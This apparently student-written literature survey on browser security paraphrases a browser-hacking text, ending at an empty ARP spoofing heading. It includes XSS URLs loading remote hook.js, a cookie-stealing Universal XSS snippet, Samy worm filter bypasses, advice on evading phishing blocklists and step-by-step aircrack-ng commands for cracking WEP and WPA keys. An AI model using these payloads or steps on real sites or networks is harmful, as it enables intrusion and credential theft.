**BROWSER FORENSICS**

**2.LITERATURE SURVEY**

Chapter 1: Web Browser Security

* **Exploring the Browser**

When you touch the web, the web touches you right back. In fact, whether or not you consciously realize it, you invite it to touch you back. You ask it to reach through the various security measures put in place to protect your network and execute instructions that you have only high-level control over, all in the name of rendering the page and delivering onto your screen the hitherto unknown/ untrusted content. The browser runs with a set of privileges provided to it by the operating system, identical to any other program in user space. These privileges are equivalent to those that you, the user, have been assigned!

* **Same Origin Policy**

The most important security control within the web browser is the *Same Origin**Policy*, which is also known as SOP. This control restricts resources from oneorigin interacting with other origins.The SOP deems pages having the same hostname, scheme, and port as residingat the same-origin. If any of these three attributes varies, the resource is ina different origin. Hence, provided resources come from the same hostname,scheme, and port, they can interact without restriction.

* **HTTP Headers**

You can think of HTTP headers as the address and other instructions written on an envelope, which dictate where the package should go and how the contents of the package should be handled. The content of the headers determines how the content that follows is processed either by the web server or by the web browser. Some headers are required in order that the interaction can function; others are optional and some may be used purely for informational purposes.

* **Markup Languages**

Markup languages are a way of specifying how to display content. Specifically, they define a standardized way of creating placeholders for data and placeholders for annotation related to the data within the same document.

* **Cascading Style Sheets**

Cascading style sheets (CSS) is the main method web browsers use to specify the style of the web page content. CSS provides a way to separate the content from its style.

* **Scripting**

Scripting in general is a prerequisite to working in Information Technology that somehow snuck in and took up a very prominent position in the browser. Scripting in the browser is used by attackers to launch some of the most common exploits, including XSS.

* **JavaScript**

JavaScript supports functional and object-oriented programming concepts. Unlike Java, which is a strongly typed language, JavaScript is loosely typed.

* **VBScript**

VBScript is supported only in Microsoft browsers and is rarely used in serious web development. This is because it doesn’t have cross-browser support.

* **Document Object Model**

The document object model (more commonly referred to as the DOM) is a fundamental web browser concept. It is an API for interacting with objects within HTML or XML documents. The DOM provides a method for scripting languages to interact with the rendering engine by providing references to HTML elements in the form of objects.

* **Rendering Engines**

The web browser will likely use HTML and images in combination with CSS to create the final graphical product users see in their web browser. It is these engines that provide the user with the graphical experience. Though usually referred to in the graphical sense, text-based rendering engines exist too, such as Lynx and W3M.

* **WebKit**

A goal of this open source project is for WebKit to become a general-purpose interaction and presentation engine8 for software applications.

* **Gecko**

Firefox is the most prominent software program that uses the open source Gecko rendering engine.

* **Web Storage**

Web storage, sometimes referred to as DOM storage, was part of the HTML5 specification but it no longer is. It may be helpful for you to view web storage as supercharged cookies. Like cookies, two main types of storage exist: one that persists locally and one that is available during the session. With web storage, *local storage* persists over multiple visits from the user and *session storage* is only available in the tab that created it.

One of the major differences between cookies and web storage is that web storage is created only by JavaScript, not by HTTP headers, nor are they transmitted to the server in every request. Web storage permits much greater sizes than conventional cookies. The size is browser dependent, but is generally at least 5 megabytes. Another important difference is that there is no concept of path restrictions with local storage.

* **WebSocket**

WebSocket is a browser technology that enables you to open an interactive and very responsive, full-duplex communication channel between a browser and server. This behavior allows you to have stringent event-driven actions without the explicit need to poll the server.

* **Web Workers**

Before web workers, JavaScript in the browser was a single-threaded environment. Developers would use setTimeout() and setInterval() to achieve concurrency-like execution.

* **History Manipulation**

It was sufficient to track the history when users clicked a link that took them to another page. Today, clicking a link may use scripting to render the page, and this is counted as a milestone in the user’s experience.

* **WebRTC**

The Web Real-Time Communication (WebRTC) API is a significant development that uses HTML5 capabilities and JavaScript. It allows browsers to communicate with each other with the low latency and high bandwidth necessary to support real-time, media-rich communication. At the time of this writing, WebRTC is supported in the latest Chrome, Firefox, and Opera browsers and is incorporated into them natively. It exposes features such as direct access to camera and audio equipment (to support video conferencing).

* **HTTP Headers**

A large chunk of the browser security evolution has occurred in the HTTP headers. Because directives in the scope of the entire request or response are placed in HTTP headers, they provide a natural mechanism for the server to instruct the browser to introduce additional security controls.

* **Content Security Policy**

The CSP HTTP header Content-Security-Policy or X-Content-Security- Policy is sent from the server to stipulate the locations where scripts can be loaded. It also stipulates the restrictions on those scripts

* **Secure Cookie Flag**

Historically, cookies were sent over both HTTP and HTTPS without discriminating between the two origins. This can impact the security of a session established with the web browser. This is where the secure cookie flag leaps tall buildings in a single bound. The primary purpose of this flag is to instruct the browser to never send the cookie over any unsecured channel.

* **HttpOnly Cookie Flag**

The HttpOnly flag is another option that can be applied to cookies, and all modern browsers honor this directive. The HttpOnly flag instructs the browser to disallow access to the cookie content from any scripts.

* **X-Content-Type-Options**

Browsers can employ a variety of content-sniffing methods to make a guess at what type of content has been returned from the web server. Based on this, the browser will perform the appropriate action that is mapped to that content type. The nosniff directive exists to disable this functionality and force the browser to render the content in accordance to the content-type header.

* **Strict-Transport-Security**

This HTTP header instructs the browser that communication to the website must occur over a valid HTTPS tunnel. It will not be possible for the user to accept any HTTPS errors and proceed over an insecure connection. Instead, the browser will explain the error without allowing the user to continue browsing.

* **X-Frame-Options**

The X-Frame-Options HTTP header is used to prevent framing of the page in the web browser. When the browser sees the header, it should ensure that the page sent would not be displayed within an IFrame. This header was developed to prevent UI redressing attacks, one of which is Clickjacking.

* **Sandboxing**

Sandboxing is an attempted real-world solution to a real-world problem. The base assumption is the browser *will* get compromised and come under the control of the attacker. Never have truer words been spoken! The fundamental (and pragmatic) position is that developers will inevitably write vulnerable code. Many believe that vulnerable code will inevitably appear somewhere within a software product. Let’s face it, even those in the security community who point their fingers at developers are susceptible. The sandbox is a good attempt at addressing this universal problem.

* **Browser Sandboxing**

The browser sandbox is the highest-level sandbox possible for a user-space program. It is the barrier between the privileges given to the browser by the operating system, and the privileges of a subprocess running within the browser. To completely compromise the browser, you will need to take at least two steps. The first one is to find a vulnerability in the browser functionality. The next step is to break through the sandbox. The latter is known as a *sandbox bypass*.

* **IFrame Sandboxing**

IFrames can be used as a mechanism to include potentially untrusted content from cross-origin resources, and in some cases untrusted content from same origin ones. For example, one popular inclusion in websites is Facebook’s social media widget.12 The possibility of an IFrame becoming hostile is not a new idea, and browser vendors have long offered various ways to mitigate the collateral damage from a rogue IFrame.

* **Anti-phishing and Anti-malware**

Forging entities online (including e‑mails) in an effort to steal personal information such as credentials is traditionally called *phishing*. Numerous organizations have services cataloging known phishing websites, and modern browsers can make use of this information. The browser checks each site visited against a known list of malicious sites. If it detects that the requested site is actually a phishing site, the browser will take action.

* **Core Security Problems**

Traditional network security used to rely on the deployment and maintenance of external or perimeter defenses, such as firewalls. Over time, these devices have been seen to block all but the essential traffic not only into, but also out of, your organization. Although the network is getting tighter, businesses still require access to their information, and the increase in the use of web technology (pretty much anything travelling over TCP port 80 or 443) has been growing at an accelerating rate. In fact, firewalls have been so successful at reducing the open floodgates of traffic that all we often have left is a shining beam of HTTP traffic. Good examples of this can be seen in the growth in popularity of SSL VPN technology over traditional IPSEC VPNs. Arguably, all firewalls have effectively done is reduce network traffic down to two ports: 80 and 443. This transfers extreme reliance to the web browser security model.

* **Attack Surface**

The attack surface is the region of the browser that is vulnerable to influence from untrusted sources. Conversely, the attack surface of the network at large is by now able to be kept under tight control. Access points and permitted traffic flows are well understood and change control processes can account for alterations. Access to different ports on the firewall, for example, can be trivially verified and restricted via well-known methods.

* **Rate of Change**

Browser security teams may not be working on a time line that aligns with the organization. Often, it is out of the control of the organization to implement browser fixes that might be wanted to bolster the security posture.

* **Silent Updating**

Silent background updates, while offering a potential avenue for attack, also provide arguably a greater value to users. The necessity to ensure available updates are applied rapidly has driven some developers to implement their own silent mechanisms. Google for example implemented a silent update feature for its Chrome browser.16 The user was not given the option to disable the feature, thereby ensuring all updates were applied in a timely manner without user intervention.

* **Extensions**

Extensions provide a method to augment the browser behavior without using a standalone piece of software. They can influence every page that the browser loads and the inverse—every page can potentially influence them.

* **Plugins**

A plugin is generally a piece of software that can run independently of the browser. Unlike extensions, the browser only runs plugins if the web application includes them in the page via an object tag or, in some cases, the content-type header.

* **Surrendering Control**

The browser requests instructions from arbitrary locations on the Internet. Its primary function is to render content to the screen, and provide a user interface for that content, in precisely the way that the author intended. As a by-product of this core function, it is necessary to surrender a significant degree of control to the web server. The browser must execute the supplied commands or risk failing to render the page properly.

* **TCP Protocol Control**

It is not common for the server-client model to provide so much flexibility over which port the client communicates on, or which IP addresses the client can use during data exchange. This functionality can be very useful to an attacker. It means there is almost no restriction to only attacking HTTP protocols or particular systems. Other factors come into play here that set the stage for a whole new class of attacks.

* **Encrypted Communication**

The aim of encrypted communication between the browser and the server is to protect the data between those two endpoints. This creates substantial complications for defenders. They do not get the opportunity to spot malicious data. This browser-supported encrypted tunnel works in favor of the attackers as they smuggle in their commands and smuggle out their spoils.

* **Same Origin Policy**

SOP was created in an attempt to isolate resources manifested in a browser, to prevent items from one location from interacting with other, non-related resources sourced from other locations also running in the same browser. It is, essentially, a sandbox. This particular sandbox is of paramount importance to browser security. Given the browser’s prime position at the center stage of network activity, the browser effectively interconnects disparate zones of trust as standard and is responsible for maintaining the peace. To support the needs of each zone, the autonomous functions that are permitted to interact with the origin are quite extensive.

* **Fallacies**

A lot of rules of thumb that worked in the past no longer apply in the current global threat landscape. The following fallacies are easy traps to fall into. Unfortunately, a lot of these fallacies continue to be propagated by people who have good intentions.

* **Robustness Principle Fallacy**

The web browser is extremely liberal with what it will render. This is one of the main reasons that XSS has been so difficult to stamp out. The browser makes development of secure filters and encoders difficult, because the web browser will permit instructions being executed in many ways. To encourage secure coding practices among developers, the Robustness Principle should be replaced with “be conservative in what you do, be *ultra* *conservative* in what you accept from others.”

* **External Security Perimeter Fallacy**

The fundamental problem with that defense pattern is that it assumes attackers enter from the most external layer and, in a *Braveheart* manner, battle their way sequentially through each wall. Defense perimeters have therefore been indirectly compromised and cannot defend against attacks ricocheting off the web browser. Defensive resources need to be invested into the Micro Security Perimeter that needs to encompass critical assets.

* **Browser Hacking Methodology**
* **Initiating**

The Initiating encapsulation has one phase within it. This seemingly innocuous phase is the first and most important step in hacking the web browser. Without this phase, no other attacks are possible and the target browser is out of range. Every attack sequence permutation starts by running instructions within the web browser. For that to happen, the browser must encounter (and execute) instructions under your control. which discusses methods by which you can trick, entice, fool or force a browser into both encountering and, most importantly, executing some arbitrary code.

* **Retaining**

Now that you have successfully attacked, how do you increase your control over the target? You need to maintain control of the browser in a manner that facilitates further launching of attacks.

* **Attacking**

At this stage in the methodology, you leverage the control gained over the browser and explore the attack possibilities from the present position. Attacks can take many forms, ranging from “local” attacks against the browser instance or the operating system on which it resides, to attacks on remote disparate systems in arbitrary locations. The observant reader will have noticed that Bypassing the Same Origin Policy sits atop and apart from the other elements of the Attacking encapsulation.

* **Bypassing the Same Origin Policy**

The SOP can be thought of as the primary sandbox. If you are able to bypass it, you have created a successful attack automatically by being able to access another origin previously occluded by the browser. By bypassing the SOP, you can now attack that newly revealed origin with any other applicable technique in a potential chain reaction.

* **Attacking Users**

This covers attacks involving the browser users and their potentially implicit trust of the attacker-controlled environment. Using the leverage gained over the browser and your ability to control the rendered page, you are able to create an environment that may encourage the user to enter compromising information so it can be captured and used.

* **Attacking Browsers**

The web browser is an attack surface mammoth. There is a vast array of APIs and abstractions to store and recall data. It is no wonder that web browsers have been plagued with vulnerabilities in one form or another for years. What is more surprising is that the developers of the web browser get it right as many times as they do.

* **Attacking Extensions**

If you fail to successfully attack the core browser, the doorway is by no means shut. You can also attack its (probably numerous) optionally installed extras. You will explore various classes of extension vulnerabilities. Extension vulnerabilities can be used to leverage functions resident therein to conduct crosso rigion requests or even execute operating system commands.

* **Attacking Plugins**

This includes attacks on pervasive plugins like Java and Flash. You explore how to discover what plugins are installed, reveal exploitable historical weaknesses discovered by various researchers in the field, and learn how certain security features designed to protect against plugin abuse can be bypassed.

* **Attacking Web Applications**

This area includes attacking web applications using the standard functionality of the web browser. Imagine the wealth of Intranet-accessible applications commonly accessible only from within an organization’s perimeter. What if an external website in another tab can browse those websites? You will learn the assumption that intranet sites are protected from external attack by the firewall is demonstrably false.

* **Attacking Networks**

Applications often install a web server on an arbitrary port number, and some websites on the Internet even publish their content on ports other than 80 or 443. What if your browser wasn’t connecting to a web server at all? What if it was connecting to a service that fulfills a completely different purpose and uses a completely different protocol? This would not violate the SOP and in most cases, would be valid from the perspective of the browser’s security controls. Repurposing these browser behaviors allows for sophisticated attack scenarios. The Attacking Networks phase jumps to targeting the lower layers of the OSI model.

Chapter 2: Initiating Control

* **Understanding Control Initiation**

Getting some initial code into the target browser is how you will initiate your control and start the browser hacking process. This code takes many forms. For example, JavaScript, HTML, CSS, or any other browser-related logic can serve as a vehicle for initiating control. Sometimes this logic may even be encapsulated within a bytecode file, such as a malicious SWF (Adobe Flash format) file. The technique by which you achieve control of your target will depend a lot on the circumstances surrounding the attack. If you use a compromised site, you can execute drive-by downloads. However, if you are spear-phishing users, then a Cross-site Scripting (XSS) weakness may be the best bet, and if you are sitting in a coffee shop, then network attacks may be the way to go. You will examine these forms of attack in the upcoming sections. You will touch on the term *hooking*. Hooking a browser starts with the execution of the initial code and then extends into retaining the communication channel.

* **Control Initiation Techniques**

The variousways at your disposal to capture control of your target browsers. This is thanks to the explosive growth of the Internet, the complexity in modern browsers, the number of dynamically executable languages, and the confusing models of trust. The various control initiation methods but you shouldn’t consider them an exhaustive set. The rapidly changing face of the browser will likely continue to yield different options for you.

* **Using Cross-site Scripting Attacks**

Inclusion of malicious HTML tags or scripts and how these may impact users through the

execution of malicious code. Initial examples of malicious activities included:

* Poisoning of cookies
* Disclosing sensitive information
* Violating origin-based security policies
* Alteration of web forms
* Exposing SSL-encrypted content

Although the initial advisory described the attack as “cross-site” scripting only in passing, it was eventually known as Cross-site Scripting, or CSS. To reduce confusion with Cascading Style Sheets, the security industry also referred to it as XSS.3 Over time, Cross-site Scripting, or XSS, has proven to be a particularly prevalent attack due to vulnerabilities within website code. Generally speaking, XSS occurs when untrusted content is processed and subsequently trusted for rendering by the browser. If this content contains HTML, JavaScript, VBScript, or any other dynamic content, the browser will potentially execute untrusted code.

An example scenario would be if an XSS flaw existed within the Google App Store — an attacker might then be able to trick a user into installing a malicious Chrome Extension. This actually occurred in the wild and was demonstrated by Jon Oberheide in 2011. Oberheide demonstrated the exploitation of an XSS flaw within the Android Web Market, as it was known at the time. When executed by a victim, the exploit would install arbitrary applications with arbitrary permissions onto their device.4 There are varying classifications of XSS, but in broad terms, they impact either side of the browser/server relationship. The traditional Reflected XSS and Persistent XSS relate to flaws in the server-side implementation, whereas DOM XSS and Universal XSS exploit client-side vulnerabilities.

* + - **Reflected Cross-site Scripting**

Reflected XSS flaws are probably the most common form of XSS discovered. A Reflected XSS occurs when untrusted user data is submitted to a web application that is then immediately echoed back into the response, effectively *reflecting* the untrusted content in the page. The browser sees the code come from the web server, assumes it’s safe, and executes it. Like most XSS flaws, Reflected XSS is bound by the rules of the Same Origin Policy. This type of vulnerability occurs within server-side code. An example of vulnerable JSP code is presented here:

<% String userId = request.getParameter("user"); %>

Your User ID is <%= userId %>

This code retrieves the user query parameter and echoes its contents directly back into the response. Abusing this flaw may be as trivial as visiting http://browservictim.com/userhome.jsp?user=<iframe%20src=http://browserhacker.com/></iframe>. When rendered, this would include an Iframe to browserhacker.com within the page.

Abusing the same flaw to introduce remote JavaScript into the browser can be performed by tricking a target into visiting

[http://browservictim.com/userhome.jsp?user=<script%20src=http://browserhacker.com/hook.js](http://browservictim.com/userhome.jsp?user=%3cscript%20src=http://browserhacker.com/hook.js) </ script>. When this URL is processed by the web application, it returns the <script> block back within the HTML. The browser, upon receiving this HTML, sees the <script> block and includes the remote JavaScript, which subsequently executes within the context of the vulnerable origin.

As you will discover later in this chapter, successfully exploiting these web application weaknesses may require a degree of social engineering. For example, you may need to supply a shortened or obfuscated URL, or employ other methods to trick a user into visiting your crafted URL.

* + - **Stored Cross-site Scripting**

Stored (or Persistent) XSS flaws are similar to Reflected XSS except that the XSS is persisted in data storage within the web application. Subsequently, any visitors to the compromised site after the script has persisted will then execute the malicious code. For an attacker, this is a more attractive avenue for abuse because every time a user browses an affected page, the malicious code will execute without depending on crafted links or social engineering. Back-end databases are commonly the storage mechanism exploited by this style of attack, but log files may be used too. Imagine a scenario where an application was logging all user requests without proper XSS prevention in place, and the mechanism to view these logs was through a web-based GUI.

Anyone viewing those logs may inadvertently have the malicious code rendered and executed within their browser. In addition, because these features are usually exposed only to administrators, the malicious code may be able to perform sensitive or critical actions.

Some notable real-world examples of Stored XSS include:

* Ben Hayak’s “Google Mail Hacking - Gmail Stored XSS – 2012!” (http:// benhayak.blogspot.co.uk/2012/06/google‑mail-hackinggmail- stored-xss.html)

Hayak discovered a Persistent XSS flaw within Gmail. The flaw in this instance was within a new feature Google had added to Gmail to include information from your Google+ friends. If you included malicious JavaScript within a component of your Google+ profile, (given certain conditions), your friends within Gmail would execute your code.

* XSSed’s “Another eBay permanent XSS” (<http://www.xssed.com/> news/131/Another \_ Ebay \_ permanent \_ XSS/)

eBay hasn’t been without its fair share of web vulnerabilities. A security researcher named Shubham Upadhyay discovered that it was possible to add a new eBay listing that included an extra JavaScript payload. This meant that any unsuspecting visitor to the listing would execute the JavaScript (the Persistent XSS) within the https://ebay.com origin.

* + - **DOM Cross-site Scripting**

Document Object Model (DOM) XSS is a purely client-side form of XSS that does not rely on the insecure handling of user-supplied input by a web application. This differs from both Reflected and Stored XSS in that the vulnerability exists only within client-side code, such as JavaScript.

Some notable real-world examples of DOM-based XSS include:

* Stefano Di Paola’s “DOM XSS on Google Plus One Button” (http:// blog.mindedsecurity.com/2012/11/dom-xss-on-google-plusone-button.html)

Stefano Di Paola discovered a Cross-origin Resource sharing (CORS) flaw within the JavaScript of Google’s +1 button. This vulnerability would have allowed you to execute instructions within Google’s origin.

* Shahin Ramezany’s “Yahoo Mail DOM-XSS” (<http://abysssec.com/> files/Yahoo! \_ DOMSDAY.pdf)

Unfortunately for Yahoo, one of its commonly used ad-based subdomains was using an out-of-date JavaScript that exposed a DOM XSS flaw. This third-party script had been updated to address an unprotected eval() function call, but at the time of the research, Yahoo was still using a vulnerable version.

* + - **Universal Cross-site Scripting**

A client-side XSS vulnerability, known as *Universal XSS*, is a different method of executing malicious JavaScript in a browser. In some instances, it isn’t even constrained by the SOP.

An interesting real-world example of Universal XSS:

In 2009, Roi Saltzman discovered how Internet Explorer was able to load arbitrary URIs with Chrome through the use of the ChromeHTML URL handler.

var sneaky = ‘setTimeout(“alert(document.cookie);”, 4000);

document.location.assign(“http://www.gmail.com”);’;

document.location =

‘chromehtml:”80%20javascript:document.write(sneaky)”’;

This effectively allowed an attacker, given the right conditions, to execute any JavaScript they wanted against a target on almost any origin.5 For example, the preceding JavaScript would set the current location to a Chrome frame, with a timeout that would execute *after* Gmail had been loaded.

* + - **XSS Viruses**
* **Samy**

It wasn’t long before Alcorn’s hypothetical attack became reality through Samy Kamkar and his infamous “Samy Worm” that impacted more than one million MySpace profiles. Many security professionals believe that the infection was the fastest spreading ever seen in the wild, with all those million profiles being impacted within the first 24 hours.

It’s important to note that comparing traditional computer virus propagation to XSS virus propagation is not a black-and-white affair. This is especially the case because the infection doesn’t strictly leave conventional executables on a victim’s browser. The Samy Worm used a number of techniques to bypass MySpace’s preventative controls. At a high level, these included:

* Executing the initial JavaScript within a div’s background:url parameter, which was specific to IE versions 5 and 6:

<div style="background:url('javascript:**alert(1)**')">

* Bypassing single-quote and double-quote escaping issues within JavaScript by positioning the code elsewhere and launching the instructions from a style attribute:

<div id="mycode" expr="alert('hah!')"

style="background:url('javascript:eval(document.all.mycode.expr)')">

* Bypassing the filtering of the word javascript by inserting a newline character (\n)
* Inserting double quotes through the String.fromCharCode() method
* Numerous other keyword blacklist bypasses through the use of the eval() method:

eval('xmlhttp.onread' + 'ystatechange = callback');

To review the full code and a walkthrough, check out: <http://namb.la/popular/> tech.html.

* **Jikto**

In 2007, only a couple of years after the initial XSS propagation research, Hoffman demonstrated Jikto at ShmooCon. Jikto was a tool to demonstrate the impact of unmitigated XSS flaws, and what happens when you execute attacker-controlled code within a browser. Advancing the methodology from earlier XSS self-propagation research and code, Jikto was designed to kick off a silent JavaScript loop that would either try to self-propagate, similar to Samy, or poll a central server for further commands.

Although the code was constructed as an in-house demonstration, it was leaked and slowly found its way onto the broader Internet. One of the more interesting enhancements found in Jikto was how it managed to bypass the SOP. It did this by loading both the Jikto code and the target origin content into the same-origin through a proxy (or cross-origin bridge). Initially Google Translate was used to proxy the separate requests, but Jikto could be modified to use other sites for proxying too.

* + - **Bypassing XSS Controls**
  + **Using Compromised Web Applications**

A common method used by attackers to get access to browsers is through gaining unauthorized access to a web application. After access is gained, the attacker will potentially modify web-served content to include malicious logic. The web application exploitation could involve various attacks including exploiting SQL injection or remote code execution vulnerabilities. Another method to take control of a web application is by gaining direct unauthorized access to administration services, like FTP, SFTP, or SSH. These kinds of attack are out of the scope of this book.

Once access has been achieved, arbitrary content can be inserted into the target web application. This content will be potentially run in any browser that visits the web application. It makes for an ideal location to insert instructions to be executed in the target browsers to gain the initial control. Controlling the origin of a legitimate web application that has a high visitor count will provide a large number of target browsers. The more browsers under control, the more likely one will be vulnerable. Of course, your ability to do this is governed by the engagement scope.

* + **Using Advertising Networks**

Online advertising networks display banner advertisements on numerous sites scattered across the Internet. You may never have stopped to consider what an advertisement actually entails. Without laboring the point, the most important thing is that ads run instructions that you supply. Now there is a Use Case you are interested in! You can use an advertising network to have your initial controlling code run in many browsers. You will have to sign up and jump through all their hoops of course. Once you have done this, for a small fee, you potentially have many browsers at your disposal. Keep in mind; no individual browser will be targeted, as the execution of initial code will occur randomly across a variety of origins.

For a professional engagement it is unlikely that you will be looking for a random set of browsers. You will probably want to target browser requests coming from a single, or group of, IP addresses. This can be achieved by configuring a framework like BeEF (Browser Exploitation Framework), which will be covered in more depth throughout this book.

* + **Using Social Engineering Attacks**

Social engineering refers to a collection of methods designed to coerce a person into performing actions and/or divulging information. The human component of the security chain has always been known as one of the weaker links. Adversaries have been taking advantage of this since the dawn of social interaction. Historically, social engineering may have been seen as a form of fraud or confidence trick. These days the term has a more direct relationship to the digital realm, and often does not rely on face-to-face interaction with the victim. The finance industry is one of the more prominent victims of these kinds of attacks. Fraudsters will set up digital scams to try to coerce online banking credentials from customers to then transfer stolen funds. A common social engineering technique fraudsters employ is a combination of SPAM e‑mails and phishing websites.

* + - **Phishing Attacks**

Phishing attacks are one method traditionally executed by fraudsters to acquire user credentials for online services. Example targets of phishing attacks include online banking portals, PayPal, eBay, and even tax services. Phishing attacks can take many forms, including:

* **E‑mail phishing**—An e‑mail is sent to multiple recipients, asking the victim to respond to the e‑mail with information valuable to the attacker. This technique is also used to distribute malware in the form of malicious links or attachments.
* **Website phishing**—A fake website is hosted online, impersonating a legitimate website. To trick users into visiting the site, the scammers employ supplementary techniques such as phishing e‑mails, instant messages, SMS messages, or even voice calls.
* **Spear phishing**—Often employs a fraudulent website as well, but the lures are customized for a small, targeted audience.
* **Whaling**—A term coined for spear phishing that is targeting high profile or senior executives.
  + - **Anti-Phishing Controls**

When performing a phishing attack, it’s important to remember some of the controls that are likely to trip you up along the way. Modern browsers and e‑mail clients will often try to reduce the likelihood of phishing and phishing e‑mails from making their way to recipients. You have explored the configuration of SPF records to help reduce the chances that your e‑mails will be flagged as spam, but you mustn’t forget the web browser’s ability to detect malicious content.

Google’s Safe Browsing API,18 which is used by both Chrome and Firefox, is a real-time Internet-exposed API that allows browsers to check the validity of URLs before they’re rendered in the browser. The API is used to not only warn users of phishing sites reported by individuals, but also sites that may contain malware. If your phishing campaign is targeted to a small enough audience, the likelihood that one of the targets will report the domain or it being automatically discovered (at least initially) is quite low. This period of effective phishing is known as the *Golden Hour of Phishing Attacks*. This is because research performed by Trusteer19 indicated that 50 percent of phishing victims have their information disclosed during the first hour a phishing site is available.

Apart from Google’s Safe Browsing API, a host of other platforms will try to deter users away from potentially unsafe sites, including:

* Internet Explorer’s Anti-Phishing Filter
* McAfee’s SiteAdvisor
* Web of Trust’s WOT add-on
* PhishTank’s add-ons
* Netcraft’s Anti-Phishing extension

The trick is to ensure that you balance the audience scope of your e‑mail campaign and your phishing site appropriately. Target too many people, and your site may get reported quickly. Target too few, and you may not get any people visiting your phishing site.

Another technique to help reduce the likelihood of your phishing site getting blacklisted is to implement firewall or .htaccess rules. This would be configured to only display the phishing content if it’s coming from your target’s organizational web proxy. Advanced versions of this scheme were spotted in the wild in what RSA called the “bouncer phishing kit”.20 This phishing kit automated the distribution of dynamic phishing URLs to victims, and if you tried to visit the content without a unique ID, or too many times, it would return an HTTP 404 error message. As previously discussed, sometimes you can’t technically insert your initiating instructions into a vulnerable web application or gain access to a communication channel. This often leaves you with only the end users you can target. With the right motivation, people are more than willing to perform actions to their own detriment. Do not discount the power of using social engineering techniques to take control of web browsers.

* + **Using Man in the Middle Attacks**

The method you leverage to embed initiation control code into your target’s browser doesn’t have to rely on the abuse of the end points of the communication. An older technique, known as a *Man-in-the-Middle attack*, or MitM, has been a prevalent attack technique since humans have been sending messages to each other over untrusted channels. The concept is quite simple. The attack involves an adversary eavesdropping, and potentially modifying, a communication channel as it travels between a sender and a receiver. For the attack to be effective, neither the sender nor receiver should be able to determine that their communications have been seen or tampered with. One of cryptography’s challenges is to develop techniques for secure communication, in particular to reduce the likelihood of MitM attacks. Hence, a number of cryptographic algorithms primarily focus on enhancing both confidentiality and integrity. Similar to all security enhancements and processes, for each step forward the industry makes in securing information and communications, attackers are swift to follow with methods in which to bypass these security controls.

As the browser continues to become the standard way to access information, it also plays a significant role in the concept of either sending or receiving information over untrusted channels. This offers you a very useful avenue in which to try to inject your initial code into the browser.

* + - **Man in the Browser**

MitM attacks occurred at lower layers within the OSI model, certainly beneath the Application Layer (which is where HTTP and friends play). The *Man-in-the-Browser* (MitB) attack is a sibling of this traditional MitM attack, and takes place entirely within the browser. The core feature of most sustained JavaScript communication (hooking) logic is in fact a form of MitB attack, demonstrating attributes such as:

* Hidden to the user
* Hidden to the server
* Able to modify content within the current page
* Able to read content within the current page
* Doesn’t require victim intervention

This style of interception is also frequently seen within banking malware attacks (for example, Zeus or SpyEye, which offer *inject* features). These convenient functions allow the botnet operator to specify a configuration file21 that captures how (and what) to insert into an HTTP(S) response. This injection occurs entirely within the browser, and doesn’t break or hamper the SSL controls within the browser either.

* + - **Wireless Attacks**

**802.11 Security Controls**802.11 SECURITY CONTROLS

Since IEEE 802.11’s inception, security controls have been introduced to reduce the likelihood of losing the confidentiality, integrity, or availability of wireless transmissions. Over time, the security community has critically analyzed these controls for weaknesses. The following is a brief overview of wireless controls and their shortcomings.

* **SSID Hiding**

Most routers allow the router to not broadcast its service set identifier (SSID). Unfortunately, for networking to function, wireless clients often ask to connect to named SSIDs, effectively leaking this information. Tools such as Kismet or Aircrack can help you uncover SSIDs.

* **Static IP Filtering**

Similar to SSID hiding, though static IP filtering may appear to limit connections to a wireless router’s DHCP, IP addresses can be uncovered by wireless tools, and simply configured on the attacker’s wireless interface.

* **MAC Address Filtering**

The same problems that plague IP filtering affect MAC address filtering. After you’ve used wireless tools to determine connected MAC addresses, you can modify your MAC address to match one of the connected clients. On Windows, you can modify your MAC address under your wireless adapter’s advanced properties by configuring the Network Address setting.

On Linux, you can modify your MAC address with the ifconfig command:

ifconfig **<interface>** hw ether **<MAC address>**

OS X is similar to Linux:

sudo ifconfig **<interface>** ether **<MAC address>**

* **WEP**

You can crack WEP keys with the Aircrack-ng23 suite in a few easy steps:

1. Start your injection-capable wireless adaptor in monitor mode:

airmon-ng start **<adaptor - for example: wifi0>**

**<wireless channel - for example: 9>**

This puts the passive interface into monitor mode.

2. Test packet injection using the monitor mode adapter. This will often be a different adapter from wifi0, such as an Atheros interface:

aireplay-ng -9 -e **<SSID of target network>**

-a **<MAC of target access point>**

**<passive interface - for example: ath0>**

3. Start capturing WEP initialization vectors:

airodump-ng -c **<wireless channel - for example: 9>**

--bssid **<MAC of target access point>**

-w output **<passive interface – for example: ath0>**

4. Associate your MAC address to the wireless access point:

aireplay-ng -1 0 -e **<SSID of target network>**

-a **<MAC of target access point>**

-h **<Our MAC address> <passive interface - for example: ath0>**

5. Start Aireplay-ng in ARP request replay mode to generate WEP initialization vectors:

aireplay-ng -3 -b **<MAC of target access point>**

-h **<Our MAC address>**

**<passive interface - for example: ath0>**

The output cap files should now be growing with traffic including WEP initialization vectors. To crack the WEP credentials within, execute the following:

aircrack-ng -b **<MAC of target access point>** output\*.cap

Or

aircrack-ng -K -b **<MAC of target access point>** output\*.cap

* **WPA/WPA2**

Unlike WEP cracking, WPA/WPA2 cracking can only be performed under certain conditions. One of these situations is WPA being configured in pre-shared key mode, which is using a shared password as opposed to certificates.

You need to use a tool like *airodump-ng* to capture the WPA/WPA2 authentication handshake. This means waiting for a new client to connect or forcing an already connected client to disconnect and reconnect. Then finally, you’ll need to brute-force the handshake to reveal the pre-shared key.

1. Start your injection-capable wireless adaptor in monitor mode:

airmon-ng start **<adaptor - for example: wifi0>**

**<wireless channel - for example: 9>**

This puts the passive interface into monitor mode.

2. Start capturing WPA handshakes:

airodump-ng -c **<wireless channel - for example: 9>**

--bssid **<MAC of target access point>**

-w psk **<passive interface – for example: ath0>**

3. You can now force a client into de-authenticating and hopefully

re-authenticating:

aireplay-ng -0 1 -a **<MAC of target access point>**

-c **<MAC of client you want to trick into**

**de-authenticating>**

**<passive interface - for example: ath0>**

4. Once you’ve captured the handshake, you can try to crack it:

aircrack-ng -w **<password dictionary file>**

-b **<MAC of target access point>** psk\*.cap

* + - **ARP Spoofing**

